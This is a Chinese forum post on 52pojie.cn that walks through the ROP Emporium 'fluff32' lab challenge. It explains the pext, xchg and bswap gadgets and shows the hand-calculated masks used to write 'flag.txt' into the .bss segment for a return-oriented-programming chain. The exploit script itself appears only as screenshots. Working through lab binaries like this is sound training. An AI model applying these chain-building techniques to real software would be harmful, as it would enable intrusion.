吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2536|回复: 0
收起左侧

[调试逆向] ropemporium ROP -- fluff32

[复制链接]
faqiadegege 发表于 2025-8-12 16:27
本帖最后由 faqiadegege 于 2025-8-12 16:35 编辑

该用例包含flag.txt,依旧还是想办法利用溢出读取flag.txt文件内容尝试运行,确定溢出长度
image.png
确定函数列表

image.png
image.png
看来还是和之前一样,溢出后利用print_file基本payload格式
image.png
寻找gadget源程序中,作者给了如下汇编,看来是可以用起来的
image.png

pext指令:       pext dest, src,mask      
dest:目标寄存器,将存储提取后的位
src:源寄存器,提供要提取位的数据
mask:掩码寄存器,指示要从 src 中提取哪些位mask 中的每一位决定了是否从 src 中提取对应的位。如果掩码中的某一位是 1,那么对应的位会被提取到目标寄存器 dest 中,提取的位会按从低位到高位的顺序排列   
xchg指令
xchg destination, source
destination:目标操作数,交换后的结果会存储在这个位置
source:源操作数,交换前的值会存储在这个位置。
交换两个操作数的值,并且不需要额外的中间寄存器  
bswap指令
bswap reg32
将寄存器中的字节按照从低字节到高字节的顺序进行反转。
例如,字节顺序为 AB CD EF 01 的 32 位数据会被转换为 01 EF CD AB      
使用 xchg dl, [ecx] ,
使用edx存字符串,
然后存储到内存ecx处使用
pop ecx; bswap ecx; ret
这里ecx保存.bss段地址

存字符串使用 pext 指令      
mov    eax,ebp      
mov    ebx,0xb0bababa      
pext   edx,ebx,eax      
mov    eax,0xdeadbeef      
ret
上面已知,ebx,需要计算出的edx是最终的falg.txt中的每一个字符,则需要想办法逆运算处eax,即掩码的值
完成这个过程就可以将字符一个个存到 .bss 段中  
  address0    pip ebp
  ret
  
  address1    mov    eax,ebp
  mov    ebx,0xb0bababa
  pext   edx,ebx,eax
  mov    eax,0xdeadbeef
  ret
  
  address2    pop ecx
  bswap ecx
  ret
  
  address3    xchg   BYTE PTR [ecx],dl
  ret
  
ebx,即源操作数,值为0xb0bababa
ebx
       0xb0bababa
       0b10110000 1011 1010 1011 1010 1011 1010
f
       0x66
       0b0110 0110      
       可能的mask:                           
       {
              取源操作数的:14  11  9  8  6  3  1  0
              ->                      0    1   1   0  0  1  1  0  
       }
              01001011 0100 1011
              ->
              4b4b
              最左侧14位是0,不做处理,则最终的mask为:
              10110100 1011
              ->
              b4b
同样的使用该原理,可以得到其他7个字符的mask值,最终所有的mask为:
f      ->          0b101101001011          ->          0xb4b
l      ->          0b1011011101              ->          0x2dd
a     ->          0b1110101000110        ->         0x1d46
g     ->          0b101101011010          ->          0xb5a
.      ->          0b11011011                 ->          0xdb
t      ->          0b101011001101          ->          0xacd
x      ->          0b1101011000101        ->          0x1ac5
t      ->          0b101011001101          ->          0xacd
至此,利用链可以构造标识:
  pop_ebp_address  
pop ebp
   ret
pext_address
mov     eax,ebp
   mov     ebx,0xb0bababa
   pext    edx,ebx,eax
   mov     eax,0xdeadbeef
   ret
pop_ecx_address
pop ecx
   bswap ecx
   ret
xchg_address
xchg    dl, [ecx]
   ret
bss_address
.bss 段地址
   image.png

构造之后再使用,
image.png
即可完成利用利用脚本
image.png
利用结果
image.png

免费评分

参与人数 4吾爱币 +10 热心值 +4 收起 理由
yeungh + 1 + 1 感谢您的宝贵建议,我们会努力争取做得更好!
willJ + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
hezhu2025 + 1 + 1 谢谢@Thanks!
杨辣子 + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-5-20 16:04

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表